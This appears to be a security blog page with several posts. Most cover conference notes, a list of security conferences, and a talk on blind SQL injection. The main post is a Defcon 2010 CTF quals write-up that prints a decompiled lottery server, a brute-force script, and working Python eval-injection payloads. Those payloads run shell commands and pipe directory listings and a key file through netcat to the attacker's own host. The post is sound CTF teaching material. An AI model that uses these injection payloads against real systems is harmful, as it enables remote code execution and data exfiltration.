0

The Next Hope

-

This was my first hope conference (The Next HOPE Conference)despite being in New York City for more than half a decade. Always it seemed that work would send me out of town just before the con. However, this time around I had the good fortune of being in the city during the conference.
There were a few good talks some of which were not so technical but kindled the questions for privacy fanatics.
The talks I attended included Alessio Pennasilico’s talk about DDoS attack on Bakeca.it, Modern Crimeware and Tools talk by Alexander Heid, Steven Rambam’s talk on Privacy is Dead, Blaze Mouse Cheswick et. al’s talk which was abstract but awesome. I did attend a few more talks and it was fun. All in all a great conference.

0

Pwtent Pwnable 200 Writeup CTF Quals 2010

-

This post is a writeup of the Pwtent Pwnable 200 Challenge in Defcon 2010 CTF Quals.
The question was:
Running on pwn8.ddtek.biz. And this file was given.

If you open this file in an editor you see the following screen:

Note that there are references to lottod.pys file which indicates that this could be a python script file.  Sure enough, if you decompile it using decompyle you get the following source.

class ForkedTCPRequestHandler(SocketServer.StreamRequestHandler):
    __module__ = __name__
    lotto_grid = None
    connstream_fobj = None

    def setup(self):
        signal.signal(signal.SIGALRM, self.handleSessionTimeout)
        signal.alarm(SESSION_LIMIT_TIME)

    def handleSessionTimeout(self, signum, frame):
        raise socket.timeout

    def createWinners(self):
        winners = set()
        while (len(winners) < PICK_SIZE):
            winners.update([random.randint(1, RAND_MAX)])

        return winners

    def pickRandom(self):
        picks = set()
        llen = len(self.lotto_grid)
        rand_base = (len(picks) - 1)
        while (len(picks) < PICK_SIZE):
            i = random.randint(rand_base, RAND_MAX)
            if (i < 1):                 ++i             if ((i > llen) and ((i % llen) == 0)):
                i += 1
            i = (i % llen)
            picks.update([i])

        return picks

    def genGrid(self):
        grid = [WINNER_CHECK_FUNCTION]
        while (len(grid) != LOTTO_GRID_SIZE):
            grid.append(random.randint(0, RAND_MAX))

        return grid

    def checkWinners(self, element):
        winner = True
        for n in self.winners:
            winner = (winner & (n in [ self.lotto_grid[p] for p in self.pick_list ]))

        if winner:
            self.request.send('ZOMG You won!!!\n')
        else:
            self.request.send("Sorry you aren't very lucky... Maybe you have better luck with women?\n")

    def playGame(self):
        self.request.send('Thanks for your choices, calculating if you won...')
        eval(self.lotto_grid[0])(self.lotto_grid[1:])

    def getLine(self, msg):
        self.request.send(msg)
        return self.connstream_fobj.readline(MAX_READ)

    def handlePickChange(self):
        for r in range(0, MAX_PICK_CHANGES):
            input = self.getLine('Input the number of the pick that you wish to change or newline to stop:\n')
            if (input.strip() == ''):
                break
            else:
                idx_to_edit = int(input)
                l = self.getLine('Input your new pick\n')
                self.lotto_grid[self.pick_list[idx_to_edit]] = l

    def handle(self):
        rand_seed = self.request.getpeername()[1]
        self.connstream_fobj = self.request.makefile()
        random.seed(rand_seed)
        self.request.send('Welcome to lottod good luck!\n')
        self.lotto_grid = self.genGrid()
        self.pick_list = list(self.pickRandom())
        self.winners = self.createWinners()
        self.request.send('Your random picks are:\n')
        for pick_idx in range(0, PICK_SIZE):
            self.request.send(('%d. %s\n' % (pick_idx,
             self.lotto_grid[self.pick_list[pick_idx]])))

        self.handlePickChange()
        self.playGame()

class ForkedTCPServer(SocketServer.ForkingMixIn,
 SocketServer.TCPServer):
    __module__ = __name__
    timeout = 5
    request_queue_size = 10

def runServer():
    (HOST, PORT,) = ('0.0.0.0',
     10024)
    server = ForkedTCPServer((HOST,
     PORT), ForkedTCPRequestHandler)
    server.serve_forever()

def doFork(n):
    try:
        pid = fork()
        if ((pid > 0) and (n > 0)):
            print ('Lottod PID %d' % pid)
        if (pid > 0):
            exit(0)
    except OSError, e:
        print ('Fork %d failed %d (%s)' % (n,
         e.errno,
         e.strerror))
        exit(1)

if (__name__ == '__main__'):
    doFork(0)
    chdir('/')
    setsid()
    umask(0)
    doFork(1)
    runServer()

# local variables:
# tab-width: 4

If you notice, this indicates that the server is running on port 10024 and indeed it was on pwn8.ddtek.biz. If you read through the code you also see that the source port number is being used as a seed to the pseudo-random number generator (PRNG).

rand_seed = self.request.getpeername()[1]

So I fired up netcat to see if indeed that was the case and sure enough no matter how many times I fired up the command the options I’d see would always be the same.

# nc -vv -p 1  pwn8.ddtek.biz 10024

If you see through the code of the decompiled file, it shows that the location to write as well the value to be written can be controlled by the user in the following snippet:

    def handlePickChange(self):
        for r in range(0, MAX_PICK_CHANGES):
            input = self.getLine('Input the number of the pick that you wish to change or newline to stop:\n')
            if (input.strip() == ''):
                break
            else:
                idx_to_edit = int(input)
                l = self.getLine('Input your new pick\n')
                self.lotto_grid[self.pick_list[idx_to_edit]] = l

So I first wrote up a python script that followed the exact sequence of command as the decompiled code and found that there was no combination in the 65535 source port (or seeds) that would satisfy the following condition (the condition for winning):

    def checkWinners(self, element):
        winner = True
        for n in self.winners:
            winner = (winner & (n in [ self.lotto_grid[p] for p in self.pick_list ]))

        if winner:
            self.request.send('ZOMG You won!!!\n')
        else:
            self.request.send("Sorry you aren't very lucky... Maybe you have better luck with women?\n")

But then you also see that the first element of the self.lotto_grid list is a function pointer. Also, you notice that there’s an eval() function that essentially executed the checkWinners function.
So I wrote up the following python script that would go through all possible combinations of ports and index values to overwrite so that I could overwrite the self.lotto_grid[0] value because that’d give me control of the execution flow.

# !/usr/bin/python
import random
RAND_MAX = (2 ** 20)
PICK_SIZE = 5
MAX_READ = 128
LOTTO_GRID_SIZE = 299
SESSION_LIMIT_TIME = 30
MAX_PICK_CHANGES = 5
WINNER_CHECK_FUNCTION = 'self.checkWinners'

class Test:
    def createWinners(self):
        winners = set()
        while (len(winners) < PICK_SIZE):
            winners.update([random.randint(1, RAND_MAX)])
	#print "Winners are: ", winners
        return winners

    def pickRandom(self):
        picks = set()
        llen = len(self.lotto_grid)
        rand_base = (len(picks) - 1)
        while (len(picks) < PICK_SIZE):
            i = random.randint(rand_base, RAND_MAX)
            if (i < 1):                 ++i             if ((i > llen) and ((i % llen) == 0)):
                i += 1
            i = (i % llen)
            picks.update([i])
	return picks

    def genGrid(self):
        grid = [WINNER_CHECK_FUNCTION]
        while (len(grid) != LOTTO_GRID_SIZE):
            grid.append(random.randint(0, RAND_MAX))
	#counter = 0
	#while counter < len(grid):
	#	print grid[counter]
	#	counter += 1
        return grid

    def checkWinners(self, element):
        winner = True
        for n in self.winners:
            winner = (winner & (n in [ self.lotto_grid[p] for p in self.pick_list ]))
        if winner:
            print "ZOMG You won!!!\n'"
	    return True
        else:
            print "Sorry you aren't very lucky... Maybe you have better luck with women?\n"
	    return False

    def playGame(self):
        #self.request.send('Thanks for your choices, calculating if you won...')
        eval(self.lotto_grid[0])(self.lotto_grid[1:])

    def getLine(self, msg):
        self.request.send(msg)
        return self.connstream_fobj.readline(MAX_READ)

    def handlePickChange(self):
        for r in range(0, MAX_PICK_CHANGES):
        #    input = self.getLine('Input the number of the pick that you wish to change or newline to stop:\n')
        #    if (input.strip() == ''):
        #        break
        #    else:
        #        idx_to_edit = int(input)
        #        l = self.getLine('Input your new pick\n')
        #        self.lotto_grid[self.pick_list[idx_to_edit]] = l
		for idx_to_edit in range(-PICK_SIZE,PICK_SIZE):
			if self.lotto_grid[self.pick_list[idx_to_edit]]==self.lotto_grid[0]:
				print "Ind: %d, %s" % (idx_to_edit,self.lotto_grid[0])
				return True
	return False
	#gridcounter = 0
	#found = False
	#while gridcounter < len(self.lotto_grid):
	#  if self.lotto_grid[gridcounter] in self.winners:
	#    if gridcounter < PICK_SIZE:
	#      print "Gridctr: %d : %d" % (gridcounter,self.lotto_grid[gridcounter])
	#      found = True
	#  gridcounter += 1
	#return found
	#allfound = False
	#instances = 0
	#for x in self.winners:
	#	foundx = False
	#	gridctr = -LOTTO_GRID_SIZE
	#	while gridctr < LOTTO_GRID_SIZE:#len(self.lotto_grid):
	#			foundx = True
	#			print "gridctr: %d , val = %d " % (gridctr,x)
	#			#break
	#		gridctr += 1
	#	if foundx:
	#		allfound = True
	#	else:
	#		allfound = False
	#		return False
	#return allfound

    def handle(self,port):
        random.seed(port)
        self.lotto_grid = self.genGrid()
        self.pick_list = list(self.pickRandom())
        #print "picklist : ",self.pick_list
	self.winners = self.createWinners()
        #for pick_idx in range(0, PICK_SIZE):
        #    print(('%d. %s\n' % (pick_idx,
        #     self.lotto_grid[self.pick_list[pick_idx]])))
        if self.handlePickChange():
		return True
	return False
        #self.playGame()
	#if self.checkWinners(self.lotto_grid[1:]):
	#	return True
	#return False

test = Test()
portno = 0
while portno < 65536:
  print "Trying...%d" % ( portno )
  if test.handle(portno):
	print "Success! on port %d" % (portno)
    	#break
  portno += 1

Once you run this you get the following values for port and index: 28741 & -5 respectively.

$ sudo nc -vv pwn8.ddtek.biz 10024 -p 28741
Warning: inverse host lookup failed for 192.41.96.63: Unknown server error : Connection timed out
pwn8.ddtek.biz [192.41.96.63] 10024 (?) open
Welcome to lottod good luck!
Your random picks are:
0. self.checkWinners
1. 321358
2. 144737
3. 447310
4. 63867
Input the number of the pick that you wish to change or newline to stop:
-5
Input your new pick
self.checkWinners(self.winners.clear())
Input the number of the pick that you wish to change or newline to stop:

Thanks for your choices, calculating if you won...ZOMG You won!!!
 sent 44, rcvd 344
trance@bt:~$

But then this still does not give you the answer. The key here is to realize that you can perform remote command injection. So if you start a nc listener on your server and give following parameters for the new pick for the same index of -5 (in multiple runs of course) you can start enumerating the directories:

self.checkWinners(__import__('os').system('ls /home|nc MYIP 8888'))
self.checkWinners(__import__('os').system('ls /home/lottod|nc MYIP 8888'))
self.checkWinners(__import__('os').system('cat /home/lottod/key|nc MYIP 8888'))

After the last command your netcat listener shell shows the following string:
holdem is a safer bet than lotto

And that is indeed the answer to the challenge!

The python file is located here: Pp200sol.py.

0

Defcon CTF Quals 2009 Write-ups

-

This time the DefCon CTF challenges were really tough. After about 40 hours of straight effort in those 2 days my head was spinning. There were some nice write-ups that people have posted:
Vedagodz’s site is up at : http://shallweplayaga.me/
Pursuits Trivial 400 writeup : http://pastie.org/510841
Binary l33tness 300 writeup : http://hackerschool.org/DefconCTF/17/B300.html (based on k0rupt’s original work)
Crypto badness 400 : http://beist.org/defcon2009/defcon2009_crypto400_solution.txt

10

List of Security Conferences

-

I wanted to have a list of all the security conferences around the world for a quick reference so I compiled together a list.

DefCon http://www.defcon.org
BlackHat http://www.blackhat.com/
shmoocon http://www.shmoocon.org/
ToorCon http://www.toorcon.org/
you sh0t the sheriff http://www.ysts.org/
Hack.lu http://hack.lu
WOOTCon http://www.usenix.org/event/woot08/
Source Conferences http://www.sourceconference.com/
InfoSecurity Europe http://www.infosec.co.uk/
SyScan http://www.syscan.org
CONFidence http://confidence.org.pl/
CEICConference http://www.ceicconference.com/
RSA Conference http://www.rsaconference.com/
CanSecWest http://cansecwest.com/
EUSecWest http://eusecwest.com/
PACSec http://pacsec.jp/
BA-Con http://ba-con.com.ar/
Hack in the box http://www.hackinthebox.org/
Clubhack http://clubhack.com/
Xcon http://xcon.xfocus.net/
T2 Conference http://www.t2.fi
LayerOne http://layerone.info/
Owasp Conference http://www.owasp.org
DeepSec Conference https://deepsec.net/
FrHack conference http://www.frhack.org/
Shakacon http://www.shakacon.org/
Secrypt conference http://www.secrypt.org/
HackerHalted Conference
SecTor Conference http://www.sector.ca/
Microsoft Bluehat http://www.microsoft.com/technet/security/bluehat/default.mspx
ReCon http://recon.cx/
Hacker space festival http://www.hackerspace.net
RAID Conference http://www.raid-symposium.org/
Sec-T Conference http://www.sec-t.org/
BruCon http://www.brucon.org
DIMVA Conference http://www.dimva.org
SeaCure Conference http://seacure.it/
ColSec http://www.univ-orleans.fr/lifo/Manifestations/COLSEC
Auscert http://conference.auscert.org.au
RuxCon http://www.ruxcon.org.au/
uCon http://www.ucon-conference.org/
Chaos Communications Congress http://www.ccc.de/
Bellua Cyber Security http://www.bellua.com/bcs/
CISIS Conference http://www.cisis-conference.eu/
ATC Conference http://www.ux.uis.no/
NDSS Conference http://www.isoc.org/isoc/conferences/
EkoParty Conference http://www.ekoparty.com.ar/
No Con Name http://www.noconname.org/
KiwiCon http://www.kiwicon.org/
VNSecon http://conf.vnsecurity.net
EC2nd Conference http://www.ec2nd.org/
IMF Conference http://www.imf-conference.org/
BugCon http://www.bugcon.org/
Cyber Warfare http://www.ccdcoe.org
POC Conference http://www.powerofcommunity.net/
QuahogCon http://quahogcon.org/
NotaCon http://www.notacon.org
PhreakNic http://www.phreaknic.info
PlumberCon http://plumbercon.org/
Internet Security Operations and Intelligence http://isotf.org/isoi7.html
0

Shmoocon in DC

-

I’ll be attending the Shmoocon in Washington, DC from Feb 6th-8th. Hope to see all you h4X0rs out there!

3

Clubhack 2008

-

Jay Kelath and I will be presenting at ClubHack 2008. Our topic is “Snake in the Eagle’s Shadow: Blind SQL Injection” and it is about using Blind SQL Injection on Oracle, MSSQL (and possibly MySQL) to get content of remote databases and also using out of band mechanisms on Oracle database and blind sql injection to pilfer database information.
I’ve also written up a tool that I’ll be presenting with Jay to show how to exploit blind SQL injection to remotely download files. The technique I’m presenting is different from the time delay techniques as have been presented in the past using the waitfor delay statements. Traditionally, using the waitfor delay statement one can download database contents as was shown using tools such as Absinthe, SQLBrute, Blind SQL Brute Forcer. I just try to automate the “virtual” file downloading using BULK insert on MSSQL Server and download files. To do this you do not need any firewall allowances. The technique I use is if you can “infer” every byte of a file then you don’t need to download the file using a TCP connection, you can re-create the file yourself (you already know every byte of the file). The only limitation being that the data rates are pretty slow using this technique. However, since you do not rely on time delays it’s still faster than time delay techniques.